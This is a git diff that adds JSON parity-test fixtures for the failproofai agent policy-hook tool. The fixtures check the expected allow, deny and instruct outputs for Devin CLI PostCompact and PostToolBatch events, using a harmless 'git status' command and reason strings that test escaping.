b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2da18ebe --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..14f3a44e --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3ad3a94d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..40a49a71 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0e829e34 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..18e6f525 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..416b3345 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f94897be --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..11f5536c --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b6ecbf1e --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..539e9f28 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..80ed4f77 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5c01a35e --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f23934a0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..55d0c06f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..47c63627 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7b223e65 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d993a6fb --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-absent__one-policy.json 